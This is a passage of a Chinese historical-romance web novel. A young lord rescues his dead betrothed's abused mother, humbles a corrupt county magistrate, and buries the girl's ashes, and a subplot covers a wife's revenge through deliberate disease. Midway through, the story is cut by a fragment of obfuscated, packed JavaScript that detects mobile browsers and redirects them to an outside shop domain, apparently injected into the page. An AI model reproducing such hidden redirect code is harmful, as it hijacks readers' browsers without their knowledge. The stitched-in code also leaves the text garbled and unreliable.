自沈清念走后,他就将她关起来了。 刚开始的时候,他只是不给她吃食,想要逼问出沈清念的下落。 苏婉云却不理会,宁可饿死,也不说出沈清念的下落。 江福年又逼得紧,连续关停他十几间铺子。 他气不过,就动手打了苏氏几次,打得她半死不活的,可她还是不肯求饶,反而在他靠近的时候,狠狠啐了他一口。 他恼羞成怒,在那之后,就把苏氏交给了王氏打理。 没想到这才两个月不见,苏婉云竟成了这副疯疯癫癫的模样。 他不满地看了王氏一眼,眼神里带着几分责怪。 王氏被他这一眼看得心里一慌,却不肯认账。 她又不是故意把她逼疯的,谁叫她那么不经吓。 “打开!”谢宴之的声音里带着隐忍的怒气。 沈昌银一愣,随即明白过来。 他赶紧示意王氏打开锁链。 王氏看到沈昌银责怪的眼神,心里也不服气。 是苏婉云想逃,她才将她拴住的,怪不得她。 王氏从袖口里掏出钥匙,缓缓走到苏婉云身边,蹲下身来去抓她的脚踝,想要打开锁链。 苏婉云原本呆呆地坐在地上,一看到王氏靠近,整个人立刻蜷缩成一团,用双手紧紧捂住脸,声音里带着浓浓的恐惧:“我不知道念儿在何处!别过来!你们别过来!” 她一边尖叫,一边往后退。 接着,她又捂住耳朵,眼泪不停地往下掉,嘴里反复念叨着:“念儿没有死,念儿没有死!你们别骗我!” 王氏听到这话,脸色瞬间变得难看。 她为了让沈昌银把她扶成正妻,特意拿了一块沾血的帕子,哄骗苏婉云说沈清念已经被人杀死了,没想到竟真的把苏婉云弄疯了。 可这事,沈昌银并不知道。 沈昌银的目光又一次扫过王氏,带这些复杂的情绪。 王氏咬着牙道:“姐姐,我是来给你解开的锁链的。” 随后粗暴地抓住苏婉云的脚踝,不顾她的挣扎和尖叫将锁链给她打开了。 苏婉云得了自由,忙跑到门后面躲起来。 只是在她起身时,谢宴之看到她光着脚,那脚踝早已被磨得血肉模糊。 元青有些气愤道:“沈老爷,你就是这样对待自己的发妻的?” 沈昌银被他问得一时语塞,只能尴尬地站在原地。 谢宴之朝着苏婉云走过去,轻轻问道:“你想见沈清念吗?” 苏婉云原本瑟瑟发抖,听到沈清念的名字后,用力点了点头。 “那就跟我走,我带你去找她。”谢宴之说完,转身向外走。 可苏婉云却还是躲在门后面,一步也不肯向前,眼神里满是犹豫和恐惧。 她看了看自己的脚,有些不太明白地样子。 似乎是在怀疑自己能不能走出这屋子。 谢宴之见状,从袖中掏出沈清念常戴的那只银簪,递到了苏婉云的手中。 苏婉云看到那支银簪,眼眶泛红,颤抖着伸出手接过银簪。 又小心翼翼放到脸颊边摩挲,嘴里不停念着:“念儿,念儿。” “走吧,我们去找她。”谢宴之轻轻牵起苏婉云的衣袖,带她走出了屋子。 眼看着谢宴之就要带着苏婉云离开,沈昌银终于鼓起勇气,上前一步拦住了他。 语气里带着几分不甘:“这位爷,您不请自来,还想带走我的夫人,是不是有些不妥?” 第一百八十四章夫人会不会怪我? 闻言,谢宴之连眼皮都没抬一下,继续带着苏婉云往前走。 元青见谢宴之眸色微沉,知道谢宴之是想直接将沈夫人带走,便给了后面的侍卫一个眼神。 跟在后面的侍卫见状,纷纷拔出随身佩刀,锋利的刀刃齐齐指向沈昌银。 元青看着沈昌银道:“沈老爷,现在妥了吗?” 沈昌银看着那些冒着寒光的刀刃,到了嘴边的话又硬生生咽了回去,只能僵在原地,眼睁睁看着几人离去。 此时,侍卫压着江福年跟了上来。 江福年先前远远瞥见谢宴之,还仗着父亲是江县令,梗着脖子想骂几句。 可一瞧见侍卫拔刀的阵仗,那股子嚣张气焰瞬间灭了大半,嘴巴张了张,终究是没敢出声。 不过他已经派人去递了话,他父亲应该已经收到消息了。 一切等他父亲来了再说。 谢宴之先踏上马车,随后侧身,示意苏婉云上去。 元青也赶紧上前,小心翼翼地扶着苏婉云,语气温和:“沈夫人,您先上车,我们这就带您去找清姑娘。” 苏婉云抬眸看着元青,眼神有些涣散,侧着头愣了好一瞬,似乎才慢慢理解了他的话。 她紧紧攥着手中的银簪,顺从地跟着元青上了马车。 “查!”元青转身时,马车内传来谢宴之低沉冷冽的声音。 “是,爷。” 元青拱手。 就算爷不吩咐,他也会去探查一番。 查查这些年清姑娘在沈府都是过得什么日子。 查查沈夫人为何变成了这样。 很快,马车在一家客栈停住了。 谢宴之吩咐人找了两个手脚麻利的丫鬟,叮嘱她们好生伺候苏婉云梳洗。 他坐在外间,透过门帘,看着苏婉云坐在床沿,手里依旧捧着那支银簪。 时而对着簪子露出孩童般的笑,时而又皱着眉,眼底笼上一层愁云。 整个人痴痴傻傻的。 谢宴之不禁想到,要是她还在,看到自己的母亲成了这模样,会不会哭呢? “以后,你们就专门伺候沈夫人,务必细心周到。”谢宴之对着面前的丫鬟沉声道。 两个丫鬟不敢怠慢,连忙应下,随后端来热水,又拿来干净衣物,仔细替苏婉云洗漱更衣。 不多时,苏婉云就宛若换了一人。 谢宴之放下茶杯,抬眼看去,见到苏婉云的脸时,有一瞬的失神。 他觉着苏婉云看着有些熟悉,却又想不起来是在哪里见过。 楼下,江福年还被侍卫押着,或许是觉得他父亲马上就要来救他了。 他还摆着一副少爷的样子叫嚣着:“快放开爷,不然我让我爹灭了你!” 方才他的跟班已经按照他的吩咐去打听过,这段时日,澄西并没有来什么大人物。 所以,他也不用不担心触了哪位贵人的眉头。 他甚至怀疑眼前这人只是有些钱财地商户,根本不足为惧。 况且,他父亲已经得了消息,马上就要来了,到时候看那人还能嚣张多久! 谢宴之听着楼下江福年的叫嚣声,抬脚走到了楼下,又让小二沏了一壶茶。 全然没将江福年放在眼里。 江福年见谢宴之全然没将他放在眼里,气得又要叫嚣。 一旁的侍卫见谢宴之的眉头微皱,正巧店小二从身前经过,一个侍卫一把扯下小二肩上的白巾子,塞到了江福年口中。 他再说不出话,只是气得脸都发红。 客栈的掌柜和伙计看到这幕,神情有些复杂。心里都隐约有些担心。 谁不知这江福年仗着老爹江县令撑腰,在整个澄西都是横着走,常年欺压他们。 他们向来也是敢怒不敢言。 如今来了位贵公子,如今见有人敢替他们出头收拾江福年,心中自是欢喜。 同时,心里又隐隐替谢宴之担心。 那江县令向来护短,若是真来了,这位贵公子怕是要吃亏的。 可再看那贵公子正坐在窗边的桌前,手握茶盏,慢悠悠地啜饮着。 神色悠然自得,似乎并不惧怕江福年的威胁。 众人悬着的心,才稍稍放下一些。 而此时天字房内,菱儿缓缓醒了过来。 她刚一睁眼,便挣扎着坐起身,轻声问道:“元青,你和大公子见到了夫人吗?” 菱儿说着,咳嗽了几声,脸又苍白了一些。 元青见状,连忙上前,小心翼翼地将她扶住,又将一杯温水递到了她手中。 “见到了,爷还将沈夫人接出沈府了。” “真的?”菱儿听到这话,眼眶瞬间红了,几滴泪落了下来。 从前小姐在世时,最大的心愿便是将夫人从沈府接出来。 如今小姐不在了,大公子竟帮小姐圆了这个心愿。 菱儿打心里感激谢宴之。 元青看着菱儿眼下乌青,脸色发白,整个人看起来病恹恹的,心疼不已。 这丫头自从知道清姑娘离世的消息,整日以泪洗面,最后竟然郁结于心,病倒在床。 他怎么哄都不见她好转。 直到爷说要将清姑娘的骨灰送回江南,菱儿才从床上挣扎着起来,说是要跟着一起来送清姑娘。 眼下菱儿正用手抓着他的胳膊,眼里隐约有了些神采,元青心中有些欢喜。 他反手握住她的手,温柔道:“是真的,沈夫人就在隔壁屋子里。你若想见,我陪你去。” “我要……要去见夫人!”菱儿说着,又忍不住咳嗽起来。 元青忙伸手替她顺着背,语气里有几分心疼:“你的身子还没好,不要着急,又不是不让你见沈夫人。” 说着,将菱儿扶起来,又将自己身上的披风披在她身上。 仔细系好带子,这才牵着她的手道: “走吧,我陪你去。” 菱儿鼻子红红的,点点头,任由元青拉着她走到隔壁屋子前。 到了门前,她伸出手想敲门,想张口喊一声夫人。 可是却觉得喉头发酸,眼泪又滚落下来。 当初从澄西逃走时,夫人千叮万嘱让她好好照顾小姐。 可如今,她却没能保护好小姐。 可她终究是没能护住小姐…… 小姐不在了,她永远也见不到那个温柔爱笑的小姐了。 想到这儿,菱儿的眼中的泪更是止不住。 元青忙用衣袖替菱儿擦了擦泪,此刻他也不知该说什么话来安慰他的小菱角,只能轻轻将人搂在怀里。 第一百八十五章 你还不知道我是谁吧 “元青,你说夫人会不会怪我?”菱儿埋在元青怀里,带着哭腔问道。 “不会的,你已经拼尽全力保护清姑娘了。” “那夫人会不会很难过?她再也见不到自己的女儿了。” 夫人心中一直将小姐当做珍宝,要是知道小姐没了,夫人心中该有多难受! 菱儿再也无法说下去,只将头靠在元青身上,捂着嘴小声地啜泣起来。 元青心中叹了一口气,眉头微微皱起。 他不知该不该将沈夫人如今的样子告诉菱儿。 只怕她等会儿进去看到沈夫人的模样,又要哭上好一阵子。 可看着菱儿这般期盼的模样,他又实在不忍心隐瞒。 他试着提醒道:“菱角,其实…其实沈夫人她…” 菱儿听元青欲言又止,从元青怀中抬起头,红着眼看着他,等着元青将话说完。 可元青张了张口,还是没说出来。 清姑娘才去了不久,沈夫人又似疯癫了一般。他怕他的菱角承受不住。 菱儿急了道:“你快说,夫人她怎么了?是不是出什么事了?” 元青断断续续开口道:“她……” 菱儿心中猛地腾起一股不安,她转身一把推开了门。 却见夫人好似坐在床边,梳着简单的妇人发饰,身上的衣裳也富贵干净,手上还握着小姐那支银簪。 对她的到来没有任何反应,好似在发呆。 菱儿心中一紧,只当是夫人在思念小姐,才会这般出神。 她快步跑到苏婉云面前,跪在地上,哽咽道:“夫人!” 可眼前的妇人依旧没有任何反应,只是如同方才一样。 眼神里没有一丝神采,仿佛根本没听到她的声音。 只能听到她嘴里在小声地呢喃着什么。 菱儿想听,却听不清她在说什么。 她又看了看苏婉云,觉着夫人看着跟痴傻之人一般。 菱儿又凑上前去,又叫了一声:“夫人,我是菱儿呀!” 苏婉云仍是没有看向她。 菱儿终于意识到了苏婉云的不对,她转身哭着问道:“元青,夫人她这是怎么了?” “夫人怎么不认识我了?” 元青上前一步,轻轻扶住她的肩,声音里透着些无奈道:“今日爷在府上见到沈夫人的时候,她就是这般模样了。” 菱儿看着苏婉云这痴傻的样子,跟她记忆里那个温柔端庄的夫人大相径庭。 她的心像是被刀割一般疼,眼泪又汹涌而出:“怎么会这样……?” “爷已经派人去查了。” 元青说不出安慰的话,只能告诉菱儿,爷不会放过将沈夫人害成这般的人。 菱儿用力点了点头,擦干了眼泪,慢慢走到苏婉云身边,握住了她的手。 轻声道:“夫人,以后我陪着您……” 此刻,客栈外面浩浩荡荡来了一行人。 客栈里的伙计见那架势,好心地跑到谢宴之的桌边提醒道:“公子小心,那江县令来了。” 谢宴之闻言,抬头看向那行人。 见走在最前面的人一身官袍加身,头发已有些花白,步履沉稳却带着几分焦躁。 旁边的六个衙役拿着佩刀,将那江县令紧紧护在身侧,气势汹汹地走了进来。 那江县令眼神锐利地扫过大堂,那股子官威压得满座食客纷纷低下头,不敢言语。 江福年看到自己的县令父亲来了,急得发出呜呜的声音,想让他看到此刻正被押着的自己。 江为元听到声音往这边一看,自己的儿子正被人用力抓着。 嘴里被布塞了个鼓鼓囊囊,脸上红肿,隐约可见五个指印。 往日里的意气风发荡然无存,只剩下狼狈。 他快步朝江福年走去,却见江福年前面不远,坐着一位贵公子打扮的人,正悠闲地坐着饮茶。 周围的人见到他都低眉顺眼,唯有他仿佛看不到他来了一般,依旧悠闲地吹了吹茶面上的浮沫,浅啜一口,神色淡然。 江为元心里的火气瞬间窜了上来,带着人直直朝着谢宴之走去,脸上的怒意丝毫不加遮掩。 身边的两名护卫见那江县令气冲冲过来,恐对谢宴之无礼,正欲拔刀向前,却被谢宴之摆手挥退。 江为元看到谢宴之挥退侍卫的动作,心里暗自冷笑,算这小子识趣,知道在自己面前不敢造次。 他站在谢宴之的桌边,指着他道:“你是何人,快将我儿放了。” 谢宴之仿佛没听见他的话,眼帘都未曾抬一下,只是缓缓将茶盏凑到唇边,正要饮茶。 “放肆!”江为元见状,怒火更盛。 伸出手将谢宴之手上的茶盏一把夺过,狠狠摔在了地上。 “你听见没有,叫你的人放了我儿!” 他身为一县之令,在澄西县向来说一不二,如今却被一个不知来历的公子如此轻视。 周围还有百姓瞧着,他觉得自己颜面尽失,心中大为恼火,心中发誓定是要给他一些教训的。 一旁的江福年看着谢宴之在他父亲面前动都不敢动的模样,心里得意极了。 他用眼神看了眼旁边的两个侍卫,意思不言而喻。 还不快将本大爷放了! 两个侍卫带着些疑惑看着他,那眼神就像在看傻子一样。 江福年顿时恼羞成怒,挣扎着想要抬起脚踢向身边的护卫。 却被其中一人朝着腿湾儿一脚,直接踢跪在了地上,疼得他眼泪都要流下来。 江为元看到自己的儿子受了这样的欺负,心痛不已。 他江家就这一个独苗,看到江福年受伤,就像是要了他的老命一样。 他示意那六个衙役冲上去救江福年,却不知又从哪儿冲出四个护卫,将那六个衙役打得躺在地上哀嚎。 江为元看到这幕,心知不好与这人硬碰硬,思虑片刻,他打算用自己的权势让他服软。 他强压下心底的怒火,负手而立,语气带着几分倨傲:“你大概是外地来的,还不知道我是谁吧?” “我乃澄西县令江为元,这澄西县的大小事务,皆由我做主!” 谢宴之这才缓缓抬眼,目光平静地落在江为元脸上:“那又怎样?” 此话一出,江为元一噎。 此子看起来不像如此不懂情理之人呀! 他还来不及想太多,又听到谢宴之道:“你也不知我是谁吧!” 江为元听了这话,愣了愣。 难道这小子是什么大有来头的人物? 可是他这几日并未听说有什么贵人来了澄西呀。 他每年往上面孝敬了许多银钱和特产,若是真有大人物来,那些人不可能不提前透个信儿给他。 思及此处,江为元心中又有了底气,语气里满是不屑道:“我管你是谁!就算你是从京城来的,到了我澄西县,也得守我的规矩!” 第一百八十六章 为何还要将她送人 江为元说完这句话,负手抬头,等着谢宴之向他服软。 可等了一瞬,没有一丝动静。 他转头看了看谢宴之,正欲骂些什么。 就见门外知府周大人,通判何大人脚步匆匆地走了进来。 江为元心下有些得意,平日里对二位大人没有白孝敬。 为了他儿江福年,两位大人居然都放下手中的公务过来了。 他斜睨了谢宴之一眼,轻轻嗤了一声。又整了整衣袍,快步迎了上去,拱手道: “周大人,何大人。劳烦二位大人来一趟,下官……” 可那二位大人却像没看见他一般,径直从他身边走过。 径直走到谢宴之身边,恭敬拱手道:“世子!” 闻言,江为元如遭雷击。方才他还在纳闷二位大人今日对他为何是这样的态度。 现在一句世子,如同一道惊雷在他耳边炸开。 世子? 那是他这一辈子垫着脚尖儿都够不着的人物。 不知怎的,江为元的额上渗出了密密的汗。 他脸色发白,手不自觉抖了起来,头越发低了一些。 谢宴之慢悠悠喝着杯中的茶,就让那两位大人在一旁站着。 周大人和何大人面面相觑,看着世子神色平淡,好像没有什么不妥。 却又不与二人言语,二人一时也不知怎么回事。 “不是我不让二位大人坐,只是这江大人说在澄西地界,都是他说了算。” 谢宴之忽然开口。 二位大人听谢宴之这样说,心下还有什么不明白的。 怕是这江为元得罪了世子了! 二人心中暗道不好,平日里,他二人也收了江为元不少好处。 但眼下,也只有将江为元舍出去方能过了今日这关。 何大人指着江为元厉声道:“江大人,我倒是不知,你在澄西竟有如此大的威风啊!” 江为元看了何大人眼中的冷意,忙跪到谢宴之面前: “下官有眼不识泰山,冒犯了世子,还望世子念在下官是无心之过的份儿上,饶了下官这一回。” 说完,江为元又低下头,战战兢兢等着谢宴之发落。 “饶你也可。”谢宴之看着地上**为元摔碎的那只茶盏。 “只要江大人将它们复原就好。” 江为元看着地上的碎片,心中后悔不已。 方才他就不该耍那威风,一手拂了世子的茶盏! 可眼下他却不敢有半分迟疑,忙膝行过去,小心翼翼地捡那一片片的瓷片。 “还有那茶水,一滴都不能落下。”谢宴之的声音再次响起。 这下,江为元心中滔天的悔恨向他席卷而来。 那些茶水落在地上,早已干涸成了茶渍,只在地上留下一团青色。 “世子……”江为元带着些哭腔,眼角也滴下两滴泪来,盼着谢宴之能放过他。 江福年看到自己的父亲跪地求饶的狼狈样子,也有些傻了眼。 他先前倒是猜过这人的身份不一般,却没想到竟是京城来的世子。 小小的澄西县,何时来过这样的人物?他只觉得今日自己是栽在这世子手上了。 谢宴之这才抬了抬手,示意周、何二位大人坐下,又吩咐店小二重新斟了热茶。他指尖轻叩桌面,看向仍跪在地上的江为元:“看来江大人是真的知错了?” 江为元闻言,如蒙大赦,连连磕头求饶,生怕慢了一瞬,谢宴之都不放过他。 “那就先关起来,等查清楚江大人是否还有别的错处,再行定论。” 周大人不敢怠慢,立刻高声道:“来人!将江为元拿下!” 此话一出,江为元大惊失色,正想喊冤枉,人群中突然传来一声呼喊。 “江大人!江大人为我们伸冤啊!” 人群纷纷往后退去,沈昌银与王氏从人群中挤了出来。 他们一眼就看到他们要找的江大人此时狼狈的跪在地上。 而他们要告的人,却跟另外两位大人物正悠闲地喝着茶。 二人瞬间僵在原地,张着嘴,半天说不出话来。 “你们二人找江大人何事?”周大人皱眉,看向二人问道。 “我们…我们…。”沈昌银的话堵在嗓子眼儿,说不出口。 在谢宴之走后,他左思右想,还是决定去县衙向江县令报信,说江少爷被人抓走了。 结果听说人来了这客栈,于是他又和王氏急匆匆赶了过来。 哪料一进来就看到江县令是这副模样。 沈昌银当即改了说辞,小声道:“我们是来寻人的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601401|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这位公子带走了我夫人。” 周大人瞥了一眼谢宴之,见他神色未变,一拍桌子道:“休得对世子无礼!” 世子! 沈昌银的脑子在嗡嗡作响。 王氏也愣在原地,他们沈家,好似真的得罪了不得了的人物! 二人立刻跪在地上:“世子,我们……” 话还未说完,沈昌银就见一个熟悉的身影出现在了面前。 “菱儿!”沈昌银见到菱儿,喜出望外。 她当初就是与沈清念一起逃走的。 若是菱儿在这里,那沈清念也会在。 只要找到沈清念为他们求情,这世子又这样看重沈清念,肯定不会为难他们的。 沈昌银赶紧问道:“菱儿,小姐呢?” 菱儿定睛一看,是沈昌银。 她讨厌沈昌银! 她咬着唇,眼睛一红,转身便往楼上跑去了。 谢宴之见状,慢里斯条道:“还劳烦周大人,何大人先将江县令押回去。” “还有那位江公子。” “是!”二位大人连忙应下。 谢宴之起身拱手后,转身往楼上去。 一同上去的,自然还有被护卫押着的沈昌银和王氏。 菱儿跑进屋子,坐在桌前,眼泪不停地滚落,嘴里道:“都怪老爷!” “老爷根本就不像个父亲,明知那江福年对小姐是见色起意。” “还硬要将小姐送给江福年。” “小姐不从,老爷就打小姐!每次都打得小姐手上和背上红紫一片。” 菱儿说着,又顿了顿:“若不是小姐拼死逃出来,恐怕早就……” 谢宴之听着这话,抬起的脚,又放了下来。 脑中想起了沈清念倔强忍泪的模样,放在身后的手不自觉握紧了些。 元青有些疑惑道:“沈老爷为何非要将清姑娘送到江家?” “老爷说江家是权贵,不能轻易得罪。不然沈家往后的生意,都怕会被人使绊子。” 菱儿没好气道。 权贵? 元青听了都要气笑了。 一个小小县令,在他眼中,就是权贵了。 那他们爷算什么! “她已有婚约,沈昌银怎么还要将她送人?” 谢宴之抬脚走了进来,目光落在菱儿身上。 第一百八十七章 原来从来不是什么欲擒故纵 他早已知道她有未婚夫婿。 对沈清念已有婚约这事,他也是一直耿耿于怀,一直都想知道那人是谁。 如今看来,菱儿这丫头或许是知道的。 菱儿见谢宴之进来,眼中有一瞬诧异。 她小声答道:“因为老爷并不知道小姐有婚约。” “知道这事的,只有夫人。” “那人是谁?”谢宴之眉头微皱,语气里藏了一丝急切。 沈清念当初逃家,是不是为了这个未婚夫? 她一次次避开自己,难道也是怕那人误会? 菱儿咬了咬唇,原本小姐是不许她说出去一个字的。 可如今小姐不在了,那些压在心底的委屈,她替她说出来。 菱儿跪在地上道:“大公子!你不该纳小姐为妾的!” 元青大惊,赶紧用手戳了戳菱儿,怕她冲撞了自家爷,又会受到责罚。 “为何?”谢宴之声音一冷。 菱儿深吸一口气,眼泪砸在地上:“因为…因为和小姐有婚约的人就是您!” “小姐本该是您的正妻啊!” 元青听后一脸的震惊,半天没反应过来他刚刚从菱儿嘴里听到了什么。 谢宴之用手攥紧了手中的玉佩。 原来在靖南侯府初见时,沈清念就知道他是自己的未婚夫! 他日日介意的人,竟是他自己! 他与她有婚约,为何他不知道,为何她不说! 好似看出谢宴之的疑惑,菱儿道:“你们的婚事,是夫人和她的好友杨氏定好的。” “沈清念一开始就知道?” “不是,是夫人安排我们逃出的那一晚,告诉小姐的。” 所以,她们在靖南侯府看到他时,沈清念就知道与她有婚约的是他! 他就是他自己口中那个未婚夫! “那她为何从没向我提起过这桩婚事?” “小姐说,您是高高在上的世子,她身份低微,门不当户不对,这婚事不如作罢。” 作罢! 谁允许她作罢的! 谢宴之胸腔里翻涌着怒火与苦涩。 原来她躲着自己,从来不是什么欲擒故纵。 而是打从一开始,她就没打算与他成婚。 所以,她才一直都不曾告诉他,“收起你那些欲擒故纵的把戏。” “做我的妾室也是你的福分。” “如果是世子有这样一个身份低微的未婚妻,你会按照婚约,认了这门亲事,娶她为妻吗?” 沈清念清冷的目光看着他,语气平平的问出这句话。 “我不会娶她!”他当时面露不屑。 一个身份低微之人,做不了他的世子妃。 过往的画面突然涌上心头。 脑海中不断浮现的她那些害怕的,受伤的,气恼的神情。 谢宴之的心莫名地有些疼。 他都对她说了些什么! 她从来都不是攀附权势的女子!他从一开始就弄错了。 他还拿他的身份地位去引诱她,用他的权势去逼迫她!所以她才会想逃吧。 谢宴之面上看着平静,只是眉头紧皱,心中却是翻江倒海,苦涩的滋味溢上喉头。 他坐在椅子上,半天没有说一个字。 沈清念啊沈清念,你怎么那么傻! 谢宴之手指微微用力,瞬间捏碎了手中的茶盏。 “爷!”元青看着血从谢宴之手中流出,有些着急。 菱儿忙掏了帕子,让元青拿去将谢宴之的手包起来。 “她还有什么事是我不知道的,都告诉我。” 谢宴之看着菱儿,眼神冰冷。 此时,隔壁屋子里。 沈昌银在屋子里走来走去,很是不安。 他心中很是后悔,今日就不该来这儿! 可门外又有护卫把守,此时想要回府,为时已晚。 在他焦灼不安之时,门被打开了。 谢宴之黑沉着脸踏了进来,坐在了椅子上,指腹摩挲着手中的檀木盒子,看他的眼神冷得如冰。 “世子,我那夫人,您想带走便带走。” “还望世子看在念儿的面上,饶过我二人。” 沈昌银主动搭话,希望谢宴之看在沈清念的面上,能放过他这个父亲。 “你不配提她!” 谢宴之冷冷开口,又将目光看向王氏:“沈夫人这样,是你做的?” 王氏吓得连连摇头,心虚地不敢看谢宴之。 “方才院中那女子是你女儿?” 王氏见谢宴之又提起沈清蕊,一时不明白他的意思。 她想了想回道:“是,也是清念的妹妹。” 闻言,谢宴之皱了皱眉,看来沈家个个都是凉薄之辈。 沈清念在沈府的日子是有多难。 据菱儿所说,沈昌银当初就是强娶的沈夫人,之后,又陆陆续续纳了八房小妾。 还一心逼迫自己的女儿,去讨好他口中的权贵! 这样的人怎配为人父! 谢宴之忽然勾了勾唇,语气却没半分暖意:“我瞧令爱与江公子倒是般配,不如择日让他们成婚。” 王氏闻言,脸色大变。 她之前是想让沈清蕊嫁到江家。 可今日她看到江县令与江福年被关押,她的蕊儿此时嫁过去,无疑是跳入火坑。 “世子……”王氏刚要开口求情,却被谢宴之的眼神吓退。 沈昌银见谢宴之看向自己,眼里的意味不言而喻。 现在轮到他了。 沈昌银赶紧问道:“世子,敢问我家念儿现在何处啊?您让她出来,我们父女说句话。” 他得赶紧把沈清念找出来救命。 谢宴之指了指一旁的盒子:“她在这里。” 沈昌银盯着那盒子,眼里满是震惊。 那竟是个骨灰盒! 沈清念死了? 沈昌银心里倒是没有半分难过,反正他还有几个女儿,只是都没人像沈清念这般美貌。 也没人像她一样,攀上了京城里的世子。 她若是还在,往后沈府的造化可就大了。 可她居然就这么没了! 他心中只觉得可惜又可气。 更糟的是,这世子还因她,不打算放过沈府,放过他这个父亲。 沈昌银的面色有些难看。 “沈老爷是不是觉着很失望,您的女儿也救不了你?” 沈昌银闻言,擦了擦额上的汗。 “不敢,不敢。” “方才沈老爷不是说要与念儿说话吗?” 听到这话,沈昌银的心一下就提到了嗓子眼儿,手脚颤抖起来。 “我这就让人送你去。”谢宴之的声音再次响起。 沈昌银一下瘫坐在地上,满眼惊恐。 王氏见状,赶紧过去扶住他,声音颤抖道:“老爷?!” 第一百八十八章 叔叔 澄西县外。 山坡上。 风卷着落叶,沙沙作响。 谢宴之站在母亲杨氏的墓前,旁边是新立的墓碑,碑上刻着沈清念的名字。 他此次来,便是要将沈清念的骨灰葬在这里。 在他心里,这才是他真正的老宅。 “母亲,”他轻声开口。 “我把最喜欢的女子,葬在您身边了。” 这世上,让他觉得温暖的人,如今都在这里了。 他就那样站着,任山风吹拂。 元青站在不远处看着谢宴之的背影,觉得爷身上有种说不出的孤寂与怅然。 半晌,谢宴之才转身:“走吧。” 而后谢宴之带着苏婉云回了靖南侯府。 侯府内,苏姨娘听闻姐姐苏婉云来了,早等在门口。 苏姨娘见到姐姐时,既开心又难过。 想到当初若不是因为她,姐姐也不可能嫁到沈府,也不会被那妾室弄得疯癫。 苏姨娘转身对谢宴之屈膝行礼,语气里满是感激:“多谢大公子肯收留姐姐。” “就让姐姐跟我回二房去住吧。” 她本想将苏婉云接去二房院落同住,却被谢宴之打断:“让沈夫人住玉恒居。” 苏姨娘愣了愣,随即懂了。 玉恒居曾是沈清念住过的地方,或许,大公子是想弥补对念儿的一些遗憾吧。 苏姨娘也就没有再坚持,温声应道:“听大公子的。” “二叔怎样了?”谢宴之又问道。 闻言,苏姨娘脸上带了淡淡的笑。 在谢宴之离开的这些日子,谢松奕的身子已经恢复了一些。 从一开始只能清醒一个时辰,到如今,已能坚持半日了。 只是仍然不言不语,也不认人。 原本二爷能醒过来已是万幸,别的苏姨娘也不敢奢求太多。 只是今日,她照常去二爷的屋子里服侍。 当她转身去打开窗户时,忽然听到一个声音:“诗雨。” 苏姨娘怀疑自己听错了。 可是刚才的声音又是那样熟悉。 她不确定地回头朝床上坐着的谢松奕看了看。 见谢松奕还是如往常一样,就那样看着她。 她摇了摇头。 谢松奕见状笑道:“你摇头做什么?” 这次,苏姨娘猛地抬起头,不可思议地看着谢松奕。 谢松奕微笑着朝着她张开了双臂。 苏姨娘见状,眼眶一下就泛起了红,她笑了笑,朝谢松奕走了过去…… 她轻声道:“这几日好多了,周大夫也来瞧过了,说要不了多久,二爷的身子就会痊愈。” “那便好。”谢宴之头也不回地朝观澜居去了。 广德侯府。 陆元璋躺在床上,脸色苍白,身上的脓疮多数已经溃烂,腥臭的气息弥漫在屋子里。 谢敏捂着口鼻走了进来,满眼的嫌恶。 陆元璋见到谢敏,想挣扎着坐起来,却连抬手的力气都没有。 “贱人!”他大声骂道。 “你竟敢将得了花柳病的女子送到我的床榻之上!” 谢敏挑眉讽刺道:“那日二爷不是很满意吗?” 绿芜就是她特意找来的染病的女子。 “二爷,现在全京城都知道你染了花柳病要死了。” “我劝二爷省省力气吧,兴许还能多活几日。” 陆元璋气得剧烈咳嗽起来。 “你这毒妇!” “我死了,你肚子里的孩子便没了倚仗,能有什么好日子过!” 闻言,谢敏捂着肚子笑道:“孩子?你觉得你配吗?” “你的孩子早就被我杀死了。” 她早在得知陆元璋让人哄骗她母亲给父亲下蛊的那日,就让丫鬟买来落胎药落了胎了。 “你只配断子绝孙!” 陆元璋闻言,眼里闪过一丝怨恨。 原来,这些都是谢敏的算计。 她早知他看在孩子的份上,不会碰她。 她才会找来那样肮脏的人,将那脏病过给他! 而她早就把孩子落掉了。 陆元璋又挣扎着想起来,他伸出手,却够不着谢敏的脖子。 他此刻是真的想要她死。 谢敏见状,嘴角又是一抹嘲笑:“怎么,二爷生气了?想掐死我?” “我劝你还是早些死吧。” 说完,谢敏走出了屋子。 “等人死了,再来禀报。”谢敏对着门边的小厮道。 “是,二夫人。”那小厮领命。 看了一眼屋子里满身脓疮,溃烂流脓的二爷,忍不住作呕。 最后在陆元璋愤怒的眼神中,慌忙关了门。 陆元璋终于坚持不住,一口血喷在地上,人也倒在了床上。 他双眼血红,眼里都是恨意。 他恨,他怎么就栽在了这样一个女人手上! 三年后,苏州。 春日的阳光暖得正好,杨柳也吐出了许多新芽。 谢宴之负手立在垂柳下,望着那江面。 江南的春的确让人觉着惬意。 “元青,后日做客何刺使家后,便可去澄西了。” “是,爷。”元青拱手,转身离开。 清姑娘走了三年了,每年春日,爷都会回去看看她。 今年也是如此。 爷是让他现在去前方的渡口找好船。 元青走后,谢宴之仍是立在那里,看向远处。 只是身后不远处,还跟着几个着便衣的护卫。 “叔叔。”一个奶呼呼的声音传来。 谢宴之察觉有人扯了扯他的衣角。 他低头一看,见一只胖乎乎的小手正扯着他的衣角。 一个小团子正仰着小脸,一双乌溜溜的眼睛一眨不眨地望着他。 谢宴之嘴角轻笑,她也有一双那样好看的眼睛。 身后的护卫见了,正欲拔刀向前,驱赶那冒然靠近的小孩儿。 谢宴之却轻轻摆了摆手,阻止了侍卫。 “怎么了,小团子?”谢宴之弯下腰,轻声问道。 “叔叔可以帮我取一下风筝吗?” 谢宴之伸手将面前的小团子抱了起来,指着书上的燕子风筝道:“是那个吗?” 怀里的沈糯糯点点头,眼里绽放着光彩。 谢宴之脚尖轻轻一点地面,不过一瞬便将那只卡在柳枝间的风筝取了下来。 “哇!叔叔,你会飞!”怀里的小团子攥着风筝线,兴奋得手舞足蹈。 软糯的声音里满是崇拜。 闻言,谢宴之又笑了笑。 